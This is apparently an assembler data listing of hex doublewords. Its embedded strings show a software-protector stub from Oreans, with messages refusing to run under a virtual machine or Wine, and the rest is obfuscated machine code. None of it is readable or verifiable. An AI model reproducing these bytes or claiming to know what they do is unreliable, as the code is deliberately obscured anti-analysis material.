		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 50410072h, 65204349h
		dd 726F7272h, 6143203Ah, 746F6E6Eh, 6E696620h, 72502064h
		dd 7365636Fh, 73726F73h, 6E6F4320h, 6C6F7274h, 6F6C4220h
		dd 2E736B63h, 656C5020h, 2C657361h, 6F630D0Ah, 6361746Eh
		dd 6E692074h, 6F406F66h, 6E616572h, 6F632E73h, 6F66206Dh
		dd 68742072h, 65207369h, 726F7272h, 0
		dd 10400h, 6F533300h, 2C797272h, 69687420h, 70612073h
		dd 63696C70h, 6F697461h, 6163206Eh, 746F6E6Eh, 6E757220h
		dd 646E7520h, 61207265h, 72695620h, 6C617574h, 63614D20h
		dd 656E6968h, 70h dup(0)
		dd 100000h, 1000000h, 0FEFFFF00h, 17Fh,	100h, 24A00h, 1000000h
		dd 8000F00h, 940004h, 50000h, 10000h, 0A280000h, 20000h
		dd 21h dup(0)
		dd 6F530000h, 61777466h, 575C6572h, 656E69h, 800FC48Bh
		dd 6, 2CC98D89h, 8589062Bh, 62B1DB5h, 28A9BD31h, 0C08B062Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 55C35040h
		dd 0F06D094h, 0BF9D3B7h, 2B218DBDh, 0F9BD8306h,	62B01h
		dd 0BD830975h, 62B1689h, 50197400h, 0B8C08B53h,	43Dh, 1B818589h
		dd 9D8D062Bh, 62DBF75h,	585BD3FFh, 1689BD83h, 7400062Bh
		dd 0B8535017h, 43Dh, 1B818589h,	9D8D062Bh, 62DBC64h, 585BD3FFh
		dd 0FC49B360h, 0CA8BFC61h, 2960C08Bh, 2B089995h, 0B70F6006h
		dd 8B6161D9h, 19D29C0h,	0E9062B0Ch, 5, 248E0B90h, 0F9BD83CEh
		dd 62B01h, 0BD830975h, 62B1689h, 50137400h, 0B8C08B53h
		dd 0
		dd 0BE179D8Dh, 0D3FF062Dh, 0BD83585Bh, 62B1689h, 50117400h
		dd 0B853h, 9D8D0000h, 62DBCC8h,	585BD3FFh, 26FD8589h, 0BF0F062Bh
		dd 81C08BF9h, 42BA20E7h, 6AC08B3Dh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0A43AC351h
		dd 2907A235h, 2B2C25B5h, 0FFC6006h, 8361C9B7h, 2B01F9BDh
		dd 9750006h, 1689BD83h,	7400062Bh, 8B535013h, 0B8C0h, 9D8D0000h
		dd 62DBD49h, 585BD3FFh,	1689BD83h, 7400062Bh, 0B8535011h
		dd 0
		dd 0BC969D8Dh, 0D3FF062Dh, 8D8B585Bh, 62B25C5h,	0C820Fh
		dd 8A0F0000h, 6, 18ADBD8Bh, 0EE8062Bh, 5A000000h, 0CD03222Eh
		dd 78AB6022h, 0EEC460B5h, 0C8BF0FB2h, 1C08B5Fh,	2B09FD95h
		dd 11CF8106h, 8B516A87h, 50006AC0h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 666D024Dh, 89D1B816h
		dd 2B17C1B5h, 0D18B6606h, 1F9BD83h, 7500062Bh, 89BD8309h
		dd 62B16h, 53501374h, 0B8C08Bh,	8D000000h, 2DBDB09Dh, 5BD3FF06h
		dd 89BD8358h, 62B16h, 53501174h, 0B8h, 0AF9D8D00h, 0FF062DBCh
		dd 0F585BD3h, 68Ch, 0B5953300h,	8A062B34h, 80C08BEFh, 0C08B71E2h
		dd 718D8B50h, 5A062B1Ch, 0BD83D68Bh, 62B01F9h, 83097500h
		dd 2B1689BDh, 13740006h, 0C08B5350h, 0B8h, 0E29D8D00h
		dd 0FF062DBCh, 6A585BD3h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 5771C350h, 8B9E4FFAh
		dd 2B2049BDh, 0C08BF506h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0CC35343h, 0BE2A9497h, 8E8ABh, 0A5BF0000h
		dd 2245D6E7h, 8A0F0FE8h, 4, 5203B966h, 6AC08B5Ah, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 0F73C357h, 1589h, 9E800h, 97500000h,	0F0EB4178h, 23C36522h
		dd 2B1C3595h, 958B5F06h, 62B05A5h, 1F9BD83h, 7500062Bh
		dd 89BD8309h, 62B16h, 53501974h, 0D0B8C08Bh, 89000007h
		dd 2B1B8185h, 759D8D06h, 0FF062DBFh, 83585BD3h,	2B1689BDh
		dd 17740006h, 0D0B85350h, 89000007h, 2B1B8185h,	649D8D06h
		dd 0FF062DBCh, 6A585BD3h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 0EEEDC357h,	8F6F9639h
		dd 0D28096D2h, 0D985293Ah, 6A062B24h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 943CC356h
		dd 0B5917DB9h, 958BBBDFh, 62B1BD9h, 8D0FC08Bh, 0Bh, 58B0Fh
		dd 81660000h, 89F06EE1h, 2B17218Dh, 2D85C606h, 53062B33h
		dd 9068D78Bh, 8999395Fh, 2B30558Dh, 49858906h, 0FF062B18h
		dd 2B0B1DB5h, 81665106h, 593FB2C2h, 3C25858Dh, 0EE9062Bh
		dd 93000000h, 0D05E3A6Ah, 22550960h, 76789658h,	0DA8166ADh
		dd 0D0FF7D6Bh, 318589FCh, 0F062B27h, 85C6F8BFh,	62B332Dh
		dd 0D0BF0F57h, 4520668h, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 0BD0BD636h, 62B1B49h
		dd 0EE9h, 9BB53500h, 0AB1D3E85h, 7E6F5F67h, 0FF56C83Fh
		dd 2B0B1DB5h, 0D1BF0F06h, 3C25858Dh, 5652062Bh,	8A0Fh
		dd 5F5A0000h, 0E580D0FFh, 0A9858957h, 0B1062B11h, 2D85C63Ch
		dd 43062B33h, 7E9h, 0DDC77600h,	0C5D42F64h, 90702868h
		dd 8D8D89BCh, 52062B01h, 0BD9BD23h, 0FF5F062Bh,	2B0B1DB5h
		dd 0FEBF0F06h, 298D9533h, 858D062Bh, 62B3C25h, 0FFB1C180h
		dd 91958BD0h, 89062B26h, 2B01E185h, 95096006h, 62B2F71h
		dd 85C661F9h, 62B332Dh,	52006A4Ch, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 0FCBC9E4h, 2290E1C1h
		dd 0DA1CE968h, 0CE9D9h,	0FDDF0000h, 58DC79h, 32A9896Ah
		dd 0B5FFAC3Eh, 62B0B1Dh, 17018529h, 858D062Bh, 62B3C25h
		dd 0F8F0Fh, 0AE90000h, 33000000h, 0A83C07BCh, 1480B9E1h
		dd 0FD0FFC3h, 8589F8BFh, 62B1E8Dh, 68F0Fh, 85890000h, 62B347Dh
		dd 332D85C6h, 0F846062Bh, 0DE061468h, 55006ABAh, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
		dd 0FF08A8ADh, 0E1814D58h, 648125E3h, 22DBD89h,	0B5FF062Bh
		dd 62B0B1Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	41C35646h, 8D53361Eh, 2B3C2585h, 95295106h, 62B2775h
		dd 6830F5Ah, 9000000h, 2B1241BDh, 60D0FF06h, 68C0Fh, 0B58B0000h
		dd 62B05C9h, 10E8h, 0E862B400h,	5B1C1C4Fh, 55F89925h, 11679D0Bh
		dd 59D68BADh, 21858961h, 66062B1Dh, 0C6E93EB9h,	2B332D85h
		dd 6A4706h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0DD3B2C3h, 723A1628h, 0E268BB38h,	668A0FB5h
		dd 0FF1939BAh, 2B0B1DB5h, 0ECCD8006h, 3C25858Dh, 9D89062Bh
		dd 62B09E5h, 11E9h, 978D7900h, 0A0730A8Fh, 1C76193Dh, 0F288FCB5h
		dd 0D0FF371Dh, 0B9BD8Bh, 8589062Bh, 62B1B11h, 0AC5EF2BAh
		dd 2D85C603h, 47062B33h, 93EF8166h, 0B5F3685Ah,	958B83D0h
		dd 62B0931h, 0B1DB5FFh,	8157062Bh, 0BAD254E9h, 858D5F45h
		dd 62B3C25h, 42D28166h,	89D0FFA0h, 2B3449B5h, 0DD858906h
		dd 8B062B0Ch, 2D85C6D3h, 77062B33h, 0D8EED281h,	958B1C36h
		dd 62B2FD1h, 97A8A368h,	0F18166F3h, 0B5FFD842h,	62B2F19h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0FBC35242h
		dd 0E1BDC699h, 5BB830B4h, 0AE851h, 287B0000h, 0A445C864h
		dd 6F3C9C6Eh, 595F5950h, 3C25858Dh, 0E980062Bh,	0A98D8B73h
		dd 0FF062B0Ah, 68F0FD0h, 81000000h, 6C3E8FF7h, 0CE813h
		dd 0EED20000h, 0D48C44B0h, 6A108220h, 8D899CF9h, 62B0865h
		dd 39858959h, 6A062B2Ch, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 2567C350h, 0EE9h, 7024A800h
		dd 0CF684BD3h, 0F7DAAB4Ah, 0E800149Fh, 10h, 1A66194Dh
		dd 9C3546DEh, 0F216506Dh, 0CE1E094Bh, 10E9h, 0EC833400h
		dd 6062BCA0h, 9F1AE1EBh, 27E08D1h, 85C65F00h, 62B332Dh
		dd 48F0F47h, 66000000h,	0BF7C49B9h, 7B74B6F6h, 28FAF668h
		dd 0C88B6687h, 0B1DB5FFh, 9D01062Bh, 62B01D5h, 3C25858Dh
		dd 6A062Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 34C1F8C3h, 60D1B081h, 2FD9858Bh, 0BD01062Bh
		dd 62B08A9h, 8BD0FF61h,	0BD8589F8h, 8A062B0Fh, 2D85C6CFh
		dd 43062B33h, 3951F181h, 85891CF5h, 62B1855h, 8E6EFC68h
		dd 50006ABCh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 5606D636h, 5E89487h, 3E000000h, 0C354A742h
		dd 305D8D89h, 0FF5F062Bh, 2B0B1DB5h, 81958B06h,	8D062B2Fh
		dd 2B3C2585h, 6AD0FF06h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0B12C356h, 891A6700h
		dd 2B11CD85h, 0D5858906h, 60062B07h, 737FBF66h,	12E8h
		dd 0EEC17200h, 0C8157E25h, 0B9B9188Ch, 2323CCE8h, 8BCF5C28h
		dd 2B3089B5h, 29615F06h, 2B1C8195h, 2D85C606h, 45062B33h
		dd 0EF1AE781h, 696859D9h, 6A8E7269h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 698CC352h
		dd 6C3B71A6h, 30D28166h, 0FF95B2CDh, 2B0B1DB5h,	11DF8106h
		dd 8D7BD1DDh, 2B3C2585h, 870F06h, 0FF000000h, 51006AD0h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 0F9B70F44h, 2475BD89h, 8589062Bh, 62B0EA1h, 0BF5BD31h
		dd 85C6062Bh, 62B332Dh,	12E844h, 0E9F80000h, 0F51D38B4h
		dd 2A877C5Bh, 0BFF7FA2Fh, 91CD4019h, 5956D180h,	0F2EC6468h
		dd 0F9BD8BB8h, 0FF062B2Ah
		dd 2B0B1DB5h, 0A9BA6606h, 25858D91h, 8B062B3Ch,	2B01BD8Dh
		dd 0E9D0FF06h, 0Ch, 0B24655B5h,	20E33EF3h, 0CC5412BBh
		dd 12398589h, 850F062Bh, 6, 2FD1958Bh, 85C6062Bh, 62B332Dh
		dd 56006A43h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 8166DF73h, 0E93BDBE2h, 0Dh, 0FC7FA312h
		dd 5C22EBAh, 3A4880Eh, 0D2B70F2Fh, 764AA768h, 0C8BA66C0h
		dd 1DB5FF7Ch, 1062B0Bh,	2B27158Dh, 25858D06h, 66062B3Ch
		dd 0B708D781h, 6840F60h, 31000000h, 2B2065B5h, 61F18B06h
		dd 8166D0FFh, 890648C7h, 2B240D85h, 0E2816606h,	0BD80FDDAh
		dd 62E0CCBh, 8840F00h, 8B000001h, 0AD858DCFh, 6A062E0Ch
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0B5A5C357h, 0F94B028Bh, 2D7EED53h, 0B41BD29h
		dd 0BF0F062Bh, 11BD89D0h, 50062B2Ch, 62BACA81h,	0DE91788h
		dd 63000000h, 60FC4D24h, 0ED165585h, 8777D9E3h,	6A016Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0EE981C3h, 74000000h, 0E7C47750h, 0D3C0BDDFh, 0CD55625Bh
		dd 41BF66D4h, 19B58943h, 6A062B35h, 4DBD8B00h, 6A062B06h
		dd 0E1816600h, 0E98074C4h, 0E195FFEFh, 6A062B01h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 0D4E6C352h, 2759958Bh, 8589062Bh, 62B3599h, 18E9BD8Bh
		dd 0FF6A062Bh, 6A88BA66h, 3599B5FFh, 8501062Bh,	62B0285h
		dd 11A995FFh, 850F062Bh, 13h, 0AE8h, 0C24DBA00h, 0FC485EA2h
		dd 667809ADh, 8B5FD08Bh, 8354B1C0h, 2B01F9BDh, 9750006h
		dd 1689BD83h, 7400062Bh, 8B535019h, 7D1B8C0h, 85890000h
		dd 62B1B81h, 0BF759D8Dh, 0D3FF062Dh, 0BD83585Bh, 62B1689h
		dd 50177400h, 7D1B853h,	85890000h, 62B1B81h, 0BC649D8Dh
		dd 0D3FF062Dh, 0CF81585Bh, 3E5874E2h, 8BD0B70Fh, 0A0C781C0h
		dd 0C65AD894h, 2B332D85h, 6A4706h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 0ADA52DC3h, 1B6AFAD8h
		dd 0BD2B8AD2h, 62B0641h, 0C8F7C168h, 0A9BD8B93h, 0FF062B19h
		dd 2B0B1DB5h, 0B1CA8B06h, 25858D8Fh, 3062B3Ch, 2B1D65BDh
		dd 119D8906h, 0FF062B2Bh, 0C1BD8BD0h, 50062B19h, 1799589h
		dd 858D062Bh, 62E10EEh,	163DBD8Bh, 0C7062Bh, 94h, 354DB501h
		dd 8158062Bh, 0A7AD0BCFh, 0EEB58D0Ch, 8B062E10h, 2B0B79BDh
		dd 6A5606h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 48EBB9C3h, 0BD8BC88Bh, 62B006Dh, 0F281D0FFh
		dd 2D86EBB3h, 10EE858Dh, 8166062Eh, 834C7CE1h, 0F060478h
		dd 1385h, 81958B00h, 0C7062B19h, 2E118285h, 106h, 0D08B6600h
		dd 2A75BD83h, 0F00062Bh, 4485h,	1D9D8900h, 83062B1Dh, 2E1182BDh
		dd 850F0006h, 31h, 0EE9h, 1C33D500h, 159938C0h,	0F1F0F009h
		dd 838D448Fh, 2B2FADBDh, 840F0006h, 11h, 85C7ADB5h, 62B1D49h
		dd 0
		dd 0E6D5F5BAh, 0DB8C661Bh, 1978B966h, 0F04C3F6h, 5FD84h
		dd 79BD8B00h, 0F062B30h, 1480h,	0FE900h, 0A5FB0000h, 0F129392Bh
		dd 1458D0E6h, 0F4E4E2DBh, 185C76Ch, 62B0Ah, 0F000000h
		dd 68Ah, 0DD8D8900h, 80062B1Ah,	2E0CD8BDh, 850F0006h, 19h
		dd 11E8h, 6391A300h, 4CD21D2Fh,	6CA23863h, 0C80BDA87h
		dd 0F88B09D2h, 2D85C65Fh, 47062B33h, 0E45B8668h, 0DBD8BE3h
		dd 0FF062B2Eh, 2B0B1DB5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0E45800F6h
		dd 8B66BDAAh, 8DA7B5CEh, 2B3C2585h, 85896006h, 62B2051h
		dd 0CE8h, 3FB9B600h, 0EDFA21Dh,	9563D742h, 5F61606Ch, 6AD0FF61h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 6780C355h, 0A77AB99Ah, 4684A23h, 1000001h
		dd 2B07199Dh, 819D8D06h, 66062B27h, 0C975CA81h,	0D58D2953h
		dd 0FF062B19h, 2D950BD0h, 8D062B18h, 2B278185h,	8B666006h
		dd 198D89CAh, 61062B19h, 0DE8h,	1CA60A00h, 43F0B2C5h, 81BB870h
		dd 0B70F4518h, 815059D6h, 20A274D1h, 8A858D48h,	60062E0Ch
		dd 3081B52Bh, 0BE66062Bh, 5061015Eh, 1C1DB589h,	858D062Bh
		dd 62E035Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	0EBC35242h, 8125ADE0h, 0CD159DDFh, 958B5027h, 62B28FDh
		dd 2C3995FFh, 0CA8B062Bh, 6A0CC483h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 4A7EC355h
		dd 68006AB4h, 80h, 6A036Ah, 68006Ah, 8D800000h,	2E035D85h
		dd 95FF5006h, 62B07D5h,	0C6D8589h, 85C6062Eh, 62B332Dh
		dd 5E876847h, 0B5FFC7B1h, 62B0B1Dh, 3C25858Dh, 0D0FF062Bh
		dd 0B5FF006Ah, 62E0C6Dh, 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 35391FC3h, 0FDBD29A5h
		dd 31062B15h, 2B17B98Dh, 37D03D06h, 830F0000h, 74h, 4003C781h
		dd 0B5FF7A27h, 62E0C6Dh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 17h, 0CAC35343h, 23BABDA9h, 2B2BB995h, 0CE906h
		dd 3F480000h, 0C2D4A6D2h, 0CC8A7923h, 95FF62C5h, 62B240Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 9BC35646h
		dd 3D7D6D43h, 111E914h,	0B5890000h, 62B0A11h, 0C6DB5FFh
		dd 0B529062Eh, 62B2401h, 240D95FFh, 6A062Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0DB74BAC3h
		dd 1B358589h, 6A062Bh, 1CDDB589h, 6A062Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 61C35545h, 6A884DF8h
		dd 0C88B6600h, 0CE9h, 4AE05200h, 25A57566h, 0F837E363h
		dd 6A006AD3h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 0FCCDC357h, 5ADA54E0h,	0BD8B006Ah
		dd 62B21FDh, 0AE8006Ah,	0F2000000h, 8BC31278h, 90737A60h
		dd 858D5F84h, 62E0C71h,	0B860Fh, 0F600000h, 0B529C8BFh
		dd 62B1819h, 95095061h,	62B09A5h, 7D595FFh, 6A062Bh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0B0ADCDC3h, 0F883E88Dh, 5C850FFFh, 8B000001h, 2B2ADD95h
		dd 3DBD8B06h, 8D062B02h, 2DC3C785h, 11958906h, 0F062B1Eh
		dd 58Fh, 0B76DBA00h, 0D0FF1010h, 6810F53h, 89000000h, 2B34B5B5h
		dd 9D895906h, 62B1DB1h,	0F60006Ah, 0F60CABFh, 89h, 6171B600h
		dd 0E8006A61h, 0Dh, 0C9114B7Ah,	136E255Eh, 0F4C767E3h
		dd 99B966A1h, 6A598Eh, 25B18D8Bh, 6A062Bh, 6AD08Bh, 6ACA8Bh
		dd 2ABDBD89h, 858D062Bh, 62E0C71h, 0CF8150F5h, 6FE1B5CEh
		dd 7D595FFh, 6A062Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 6DCBB7C3h, 0E9CFFFD5h, 13h, 0F1664E82h
		dd 23F479A5h, 4BE7008Bh, 0EB9E7E6Ch, 83154457h,	850FFFF8h
		dd 8Bh,	849BD29h, 0B58D062Bh, 62E0679h,	6E9h, 0A2C0E600h
		dd 0FA25DA4h, 858DCEB7h, 62DB12Fh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 0E0C35545h,	0EB8A5E48h, 820FD0FFh
		dd 0
		dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 5ACEFC3h,	0FE89CC8h, 6E000000h, 0DBF206EAh
		dd 0BFD5AD10h, 1420F6D7h, 0FF596B23h, 2B0EA195h, 0CDBD8906h
		dd 89062B2Ah, 2E0C6D85h, 3D958B06h, 0E9062B16h,	13h, 47808230h
		dd 0D8590C89h, 0FB80A686h, 494FBBDBh, 6A0F7CA3h, 8DBD8B00h
		dd 8D062B33h, 2E0C6585h, 958B6006h, 62B054Dh, 7E8h, 91E77600h
		dd 693A27DFh, 0D99B501h, 615B062Bh, 0BAD28050h,	26D58D8Bh
		dd 46A062Bh, 798D2960h,	89062B29h, 2B30799Dh, 858D6106h
		dd 62B260Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	20C35343h, 80E721EBh, 3150CEEAh, 2B0B2195h, 8B006A06h
		dd 2B34618Dh, 0F8006A06h, 8B66016Ah, 6DB5FFFEh,	6A062E0Ch
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0BEC3C350h, 92FD8E82h, 95FF8F85h,	62B1239h
		dd 1DE998B5h, 6A00001Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 0EBCBC351h,	0BDF8562h
		dd 371CD89Fh, 0A1C0CF81h, 0C08B7244h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 6DC35040h, 0FDD4C707h, 0B99D8910h
		dd 83062B0Fh, 2B01F9BDh, 9750006h, 1689BD83h, 7400062Bh
		dd 8B535019h, 7D2B8C0h,	85890000h, 62B1B81h, 0BF759D8Dh
		dd 0D3FF062Dh, 0BD83585Bh, 62B1689h, 50177400h,	7D2B853h
		dd 85890000h, 62B1B81h,	0BC649D8Dh, 0D3FF062Dh,	6A585Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0B58983C3h, 62B2E65h, 1D99BD8Bh, 0C08B062Bh,	2A7DBD01h
		dd 0FFB6062Bh, 0A0185C7h, 1062Bh, 14BA0000h, 0E90FEF50h
		dd 11h,	0C4DA0602h, 490B4118h, 0F2588E37h, 3F090A4Dh, 0E7B868ADh
		dd 0B5FFCEE4h, 62B1809h, 3C25858Dh, 0D0FF062Bh,	191D8589h
		dd 858D062Bh, 62E0EC9h,	86858D50h, 50062E11h, 168h, 1D95FF80h
		dd 0B062B19h, 0C70A75C0h, 2B25F185h, 106h, 0DBD46800h
		dd 0B5FFC005h, 62B1809h, 3C25858Dh, 0D0FF062Bh,	24C58589h
		dd 858D062Bh, 62E0116h,	1DB5FF50h, 0FF062B0Bh, 2B1B1195h
		dd 74C00B06h, 8DD88B0Bh, 2E10C985h, 0D3FF5006h,	10C9858Dh
		dd 8366062Eh, 0A750938h, 84585C7h, 1062Bh, 95FF0000h, 62B0FBDh
		dd 0FF25h, 5F88300h, 85C70A73h,	62B1F3Dh, 1, 0FE9h, 7A946700h
		dd 6D60143Fh, 0B94136CCh, 391C3A0h, 2C1BD01h, 0BD80062Bh
		dd 62E0CD8h, 19840F00h,	89000000h, 2B299195h, 82BD8306h
		dd 62E11h, 2A840Fh, 0BD8B0000h,	62B01FDh, 1937E9h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 8F23D82Ch, 845BD83h,	0F00062Bh, 0AE85h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
		dd 0C7810E9Fh, 44952EDFh, 0CA2858Dh, 0FFC062Eh,	0C84h
		dd 6860F00h, 89000000h,	2B09B985h, 0B70F5006h, 6A016AD7h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 1D21C352h, 958B6F64h, 62B2E99h, 0F4A2CF81h
		dd 6A4B20h, 651BD89h, 6A062Bh, 5E9h, 5F20000h, 95FFCBFEh
		dd 62B01E1h, 0CC8589F8h, 3062E0Ch, 2B2C1DBDh, 0F9FF6A06h
		dd 0CCCB5FFh, 45BA062Eh, 0B20F8997h, 0A995FFA8h, 66062B11h
		dd 8D690DBAh, 2E00DD85h, 6A5006h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 66A4F6C3h, 0ED50F781h
		dd 8E9h, 0E89B9200h, 0BDB643CEh, 8D95FF91h, 81062B1Eh
		dd 9D47FCF2h, 6785893Eh, 8B062E01h, 2B32718Dh, 0EA858D06h
		dd 6A062E00h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0EFB1C355h, 6E960h, 5B10000h
		dd 833C903Bh, 61D0B70Fh, 53006A50h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0CB612C8Ch, 8B5A6CE7h
		dd 2B32BD8Dh, 0FFCB8A06h, 2E0167B5h, 0FF31B606h, 2B1B1195h
		dd 8589FC06h, 62B2115h,	68B0Fh,	95310000h, 62B10A5h, 158858Dh
		dd 6A062Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 60F7B5C3h, 890F5036h, 5, 0D4E28166h, 67B5FF6Fh
		dd 6A062E01h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 9548C353h, 95FFAE03h, 62B1B11h
		dd 2B1D952Bh, 8589062Bh, 62E017Bh, 137858Dh, 6A062Eh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 29E94AC3h, 2B2BC98Dh, 0B5FF5006h, 62E0167h, 11E9h, 92C34B00h
		dd 0DB2F0DBh, 0D30739B1h, 29DFB3B0h, 0D9BA986Fh, 0FF273C13h
		dd 2B1B1195h, 38D0F06h,	0F000000h, 8589FEB7h, 62E0173h
		dd 858DD18Bh, 62E012Ah,	16860Fh, 11E90000h, 0F9000000h
		dd 8D78534Eh, 7C2357A0h, 0D9B0198Fh, 480FDC76h,	20259589h
		dd 0F850062Bh, 167B5FFh, 0E980062Eh, 1195FF22h,	56062B1Bh
		dd 0CE9h, 5951A000h, 5909A6Bh, 0B1D6BBD4h, 858959ACh, 62E0177h
		dd 858DD68Bh, 62E0145h,	8E860h,	0CFD00000h, 6A264E42h
		dd 5A5152BFh, 4585315Bh, 61062B2Bh, 0D9958B50h,	0FF062B00h
		dd 2E0167B5h, 41950306h, 0FF062B30h, 2B1B1195h,	1D9D2906h
		dd 89062B02h, 2B02B585h, 12E906h, 67450000h, 0CECA1209h
		dd 62F268Dh, 6CF6FBADh,	72B8617Bh, 0F9858Dh, 880F062Eh
		dd 6, 2C61B589h, 8B50062Bh, 67B5FFD6h, 6A062E01h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 0A6C9C356h, 1A5711D1h, 0AE810AB5h, 2D818D8Bh, 95FF062Bh
		dd 62B1B11h, 8589CB8Bh,	62E016Bh, 52CABF0Fh, 68D0Fh, 860F0000h
		dd 0
		dd 8858D5Fh, 89062E01h,	2B123195h, 0CF815006h, 44218B35h
		dd 167B5FFh, 0BF0F062Eh, 1195FFD1h, 6A062B1Bh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 6609C356h, 659CD781h, 16F8589h, 6057062Eh, 0E9CE8B66h
		dd 0Ah,	0BA70D534h, 1DE6D4FAh, 5961A783h, 10468h, 19858900h
		dd 8D062B21h, 2E01FF85h, 0E7816606h, 9501E6Ch, 2B1EAD8Dh
		dd 3858D06h, 89062E03h,	2B054DBDh, 0F88B5006h, 0CDD95FFh
		dd 0B560062Bh, 31B589E7h, 61062B12h, 850FC085h,	0Bh, 5840Fh
		dd 93BF0000h, 806B1BDFh, 2E0CD8BDh, 850F0006h, 17h, 7E9h
		dd 0CBD5D100h, 0D70FB1CBh, 14E7E9h, 9D8D8B00h, 83062B0Dh
		dd 2B0845BDh, 850F0006h, 30h, 6D5FBA66h, 21CC76BAh, 82BD8325h
		dd 62E11h, 4F840Fh, 830F0000h, 14h, 0FE9h, 355200h, 766A5761h
		dd 729E47AFh, 4AED4794h, 19C858Dh, 9589062Eh, 62B21E5h
		dd 1922D181h, 8DE95D39h, 66000014h, 50C9CF81h, 2F8D8D8Bh
		dd 29E9062Bh, 60000000h, 2919D89h, 9D8B062Bh, 62B08CDh
		dd 87858D61h, 8B062E01h, 0EE9FBh, 5D00000h, 4217614h, 1404A194h
		dd 0B4DC75D7h, 4D858950h, 8D062B15h, 2E01FF85h,	85CA8106h
		dd 50104A1Ah, 45BD83F9h, 62B08h, 3B840Fh, 29560000h, 2B2169BDh
		dd 858D5A06h, 62E0325h,	0E2D28166h, 2FE9A8h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0A2C1DEC3h, 0CEBA665Bh, 0E858D2Eh, 33062E03h, 2B3249BDh
		dd 95235006h, 62B0A0Dh,	35D858Dh, 5E9062Eh, 9000000h, 55251F25h
		dd 0BE850h, 33E80000h, 40411F21h, 34133965h, 33BA661Bh
